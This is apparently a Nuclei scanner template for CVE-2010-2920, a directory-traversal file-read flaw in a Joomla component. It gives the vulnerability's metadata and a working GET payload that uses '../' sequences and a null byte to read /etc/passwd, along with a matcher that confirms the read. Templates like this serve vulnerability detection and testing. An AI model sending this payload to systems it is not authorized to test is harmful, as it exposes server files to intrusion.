id: CVE-2010-2920

info:
  name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of Joomla\! or apply security patches that fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12120
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2920
    - http://www.vupen.com/english/advisories/2010/1844
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57660
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2920
    cwe-id: CWE-22
    epss-score: 0.05688
    epss-percentile: 0.92002
    cpe: cpe:2.3:a:foobla:com_foobla_suggestions:1.5.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_foobla_suggestions
  tags: cve,cve2010,joomla,lfi,edb,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c87b20ef6484fd5fa35b8530700ed8534f775f80f51700fda6c43bca766735e6022100b50362a3ec9814efe46360245adf34c79f4095cf3c2fd2a4a21087315dd46b02:922c64590222798bb761d5b6d8e72950